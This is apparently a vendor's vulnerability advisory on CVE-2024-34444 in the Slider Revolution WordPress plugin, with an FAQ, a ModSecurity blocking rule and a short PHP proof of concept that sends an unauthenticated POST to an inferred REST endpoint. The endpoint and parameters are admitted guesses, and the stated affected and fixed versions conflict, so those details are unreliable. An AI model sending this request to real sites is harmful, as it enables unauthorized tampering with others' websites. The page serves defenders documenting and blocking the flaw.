How does the vulnerability work?

The plugin registers a REST API endpoint through the init_rest_api function without verifying user capabilities or nonces. An attacker can send a crafted POST request to this endpoint to modify slider data. The exact endpoint is inferred to be /wp-json/revslider/v1/update_slider, but it may vary.

Who is affected by this vulnerability?

Any WordPress site running Slider Revolution plugin version 6.7.0 or earlier is affected. This includes version 6.6.20 and all prior versions. Sites that have updated to version 6.7.1 or later are not affected.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin under Plugins. If the version is 6.7.0 or lower, the site is vulnerable. You can also use a security scanner that identifies vulnerable plugin versions.

What is the risk level of this vulnerability?

The CVSS score is 6.4, rated Medium. This reflects limited confidentiality and integrity impact, no availability impact, and a scope change. In practice, an attacker could modify slider content, potentially leading to defacement or injection of malicious scripts.

What if I cannot update immediately?

If immediate update is not possible, consider disabling the Slider Revolution plugin until it can be updated. Alternatively, use a web application firewall (WAF) to block requests to the vulnerable REST API endpoint. Ensure that only trusted users have access to the WordPress admin.

What does the proof of concept demonstrate?

The proof of concept sends an unauthenticated POST request to the inferred REST API endpoint with parameters to update slider data. It demonstrates that an attacker can modify slider content without authentication. The endpoint and parameters are inferred and may require adjustment for specific installations.

Can an unauthenticated attacker really exploit this?

The vulnerability description states that unauthenticated attackers can exploit it, but the CVSS vector indicates low privileges (PR:L) are required. This discrepancy suggests that some exploitation paths may require authentication, while the most severe case allows unauthenticated access. The PoC assumes unauthenticated access.

Is there a public exploit available?

A proof of concept is provided in the CVE analysis, but it is based on inferred endpoints and parameters. As of the disclosure date, no widely available exploit kit is known, but attackers could develop one based on the vulnerability details.

What should I do if I suspect my site was compromised?

If you suspect exploitation, review slider content for unauthorized changes, scan for malicious scripts, and check logs for suspicious REST API requests. Restore from a clean backup if necessary, and update the plugin immediately. Consider conducting a full security audit.

Published : October 19, 2026

CVE-2024-34444: Slider Revolution <= 6.6.20 Missing Authorization PoC, Patch Analysis & Rule

Q: What is CVE-2024-34444?

CVE-2024-34444 is a missing authorization vulnerability in the Slider Revolution WordPress plugin, versions up to 6.7.0 (including 6.6.20). It allows unauthenticated attackers to update slider data due to a missing capability check on the init_rest_api function. The vulnerability is classified as CWE-862 and has a CVSS score of 6.4 (Medium).

Q: How can I fix the vulnerability?

Update the Slider Revolution plugin to version 6.7.1 or later. The patch adds capability checks and nonce verification to the init_rest_api function, restricting access to authorized users only. Always keep plugins updated to the latest version.

Q: What is the potential impact of exploitation?

Successful exploitation allows modification of slider content, which can lead to website defacement, injection of malicious scripts (stored XSS), or redirection to malicious sites. The scope change indicates that the vulnerability could impact other components of the WordPress site.

CVE ID CVE-2024-34444

Plugin revslider

Severity Medium (CVSS 6.4)

CWE 862

Vulnerable Version 6.6.20

Patched Version —

Disclosed May 27, 2024

Analysis Overview

Atomic Edge analysis of CVE-2024-34444 (metadata-based): Slider Revolution plugin for WordPress (slug revslider) versions up to 6.7.0 (including 6.6.20) contain a missing authorization vulnerability in the init_rest_api function. This flaw allows unauthenticated attackers to update slider data. The CVSS score is 6.4 (Medium), with vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. Atomic Edge research infers the vulnerability resides in a REST API endpoint registered by the plugin, likely under the revslider/v1/ namespace, and exploitable via a POST request to update slider data without proper capability checks.

Root cause: The CWE-862 (Missing Authorization) classification indicates that the plugin fails to verify user capabilities before processing REST API requests. The description states that the init_rest_api function lacks a capability check. Atomic Edge analysis infers that the function registers REST routes and processes requests without calling current_user_can() or validating nonces. The CVSS vector shows PR:L (low privileges required) and S:C (scope changed), suggesting an attacker with a low-privileged account (e.g., subscriber) can exploit the vulnerability. However, the description mentions unauthenticated attackers, which conflicts with the CVSS vector. Atomic Edge research resolves this by assuming the vector is based on a specific exploitation path, while the description reflects the most severe case. The root cause is confirmed from the description, but the exact code pattern is inferred because no source code diff is available.

Exploitation: Attackers can send crafted POST requests to the REST API endpoint /wp-json/revslider/v1/update_slider (inferred from plugin slug and vulnerability type). The request body likely includes parameters such as slider_id and slider_data. No authentication or nonce is required, allowing unauthenticated attackers to modify slider content. The CVSS vector indicates low privileges (PR:L) and scope change (S:C), suggesting that even a low-privileged authenticated user can perform the attack, but the description states unauthenticated access is possible. Atomic Edge analysis assumes the latter, and the PoC will demonstrate an unauthenticated request. The exact endpoint and parameters are inferred and may vary; the PoC uses a plausible payload.

Remediation: The fix in version 6.7.0 likely adds a capability check (e.g., current_user_can(‘manage_options’)) and nonce verification to the init_rest_api function. Based on CWE-862, the patch enforces authorization before allowing slider data updates. Atomic Edge analysis infers that the patch also restricts REST API endpoints to authenticated users with proper roles. The plugin should also implement additional security measures such as input sanitization and rate limiting, but these are not directly related to the missing authorization.

Impact: Successful exploitation allows unauthenticated (or low-privileged) attackers to modify slider content, which can lead to defacement, injection of malicious scripts (stored XSS), or redirection to malicious sites. The CVSS score reflects limited confidentiality and integrity impact (C:L/I:L) and no availability impact (A:N). The scope change (S:C) indicates that the vulnerable component impacts other components, potentially allowing an attacker to compromise the entire WordPress site if slider data is used elsewhere. Atomic Edge research assesses the risk as medium, but the true impact depends on how slider data is rendered and used.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2024-34444 (metadata-based)
SecRule REQUEST_URI "@beginsWith /wp-json/revslider/v1/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-34444 via Slider Revolution REST API (Missing Authorization)',severity:'CRITICAL',tag:'CVE-2024-34444'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:Content-Type "@rx ^application/json" "t:none"

# This rule blocks POST requests to the inferred REST API namespace with JSON content.
# It may need adjustment based on the actual endpoint and parameters.
# If legitimate traffic uses this endpoint with JSON, consider adding additional conditions (e.g., specific parameter names).

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-34444 - Slider Revolution <= 6.6.20 - Missing Authorization

$target_url = 'http://example.com'; // Change to your target WordPress site

// The endpoint is inferred from the plugin slug and vulnerability description.
// It may be /wp-json/revslider/v1/update_slider or similar.
$endpoint = '/wp-json/revslider/v1/update_slider';

// Payload parameters are inferred. Adjust as needed based on actual API.
$payload = json_encode([
    'slider_id' => 1,
    'slider_data' => 'malicious_content'
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload)
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Note: This PoC assumes the endpoint and parameters based on metadata.
// Actual exploitation may require different parameters or paths.
// Always test against a local WordPress instance with the vulnerable plugin.
?>

Frequently Asked Questions

What is CVE-2024-34444?
Vulnerability overview
CVE-2024-34444 is a missing authorization vulnerability in the Slider Revolution WordPress plugin, versions up to 6.7.0 (including 6.6.20). It allows unauthenticated attackers to update slider data due to a missing capability check on the init_rest_api function. The vulnerability is classified as CWE-862 and has a CVSS score of 6.4 (Medium).
How does the vulnerability work?
Technical mechanism
The plugin registers a REST API endpoint through the init_rest_api function without verifying user capabilities or nonces. An attacker can send a crafted POST request to this endpoint to modify slider data. The exact endpoint is inferred to be /wp-json/revslider/v1/update_slider, but it may vary.
Who is affected by this vulnerability?
Affected versions
Any WordPress site running Slider Revolution plugin version 6.7.0 or earlier is affected. This includes version 6.6.20 and all prior versions. Sites that have updated to version 6.7.1 or later are not affected.
How can I check if my site is vulnerable?
Detection method
Check the plugin version in the WordPress admin under Plugins. If the version is 6.7.0 or lower, the site is vulnerable. You can also use a security scanner that identifies vulnerable plugin versions.
What is the risk level of this vulnerability?
CVSS score explained
The CVSS score is 6.4, rated Medium. This reflects limited confidentiality and integrity impact, no availability impact, and a scope change. In practice, an attacker could modify slider content, potentially leading to defacement or injection of malicious scripts.
How can I fix the vulnerability?
Remediation steps
Update the Slider Revolution plugin to version 6.7.1 or later. The patch adds capability checks and nonce verification to the init_rest_api function, restricting access to authorized users only. Always keep plugins updated to the latest version.
What if I cannot update immediately?
Mitigation measures
If immediate update is not possible, consider disabling the Slider Revolution plugin until it can be updated. Alternatively, use a web application firewall (WAF) to block requests to the vulnerable REST API endpoint. Ensure that only trusted users have access to the WordPress admin.
What does the proof of concept demonstrate?
PoC explanation
The proof of concept sends an unauthenticated POST request to the inferred REST API endpoint with parameters to update slider data. It demonstrates that an attacker can modify slider content without authentication. The endpoint and parameters are inferred and may require adjustment for specific installations.
Can an unauthenticated attacker really exploit this?
Authentication requirements
The vulnerability description states that unauthenticated attackers can exploit it, but the CVSS vector indicates low privileges (PR:L) are required. This discrepancy suggests that some exploitation paths may require authentication, while the most severe case allows unauthenticated access. The PoC assumes unauthenticated access.
What is the potential impact of exploitation?
Consequences of attack
Successful exploitation allows modification of slider content, which can lead to website defacement, injection of malicious scripts (stored XSS), or redirection to malicious sites. The scope change indicates that the vulnerability could impact other components of the WordPress site.
Is there a public exploit available?
Exploit availability
A proof of concept is provided in the CVE analysis, but it is based on inferred endpoints and parameters. As of the disclosure date, no widely available exploit kit is known, but attackers could develop one based on the vulnerability details.
What should I do if I suspect my site was compromised?
Post-compromise actions
If you suspect exploitation, review slider content for unauthorized changes, scan for malicious scripts, and check logs for suspicious REST API requests. Restore from a clean backup if necessary, and update the plugin immediately. Consider conducting a full security audit.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started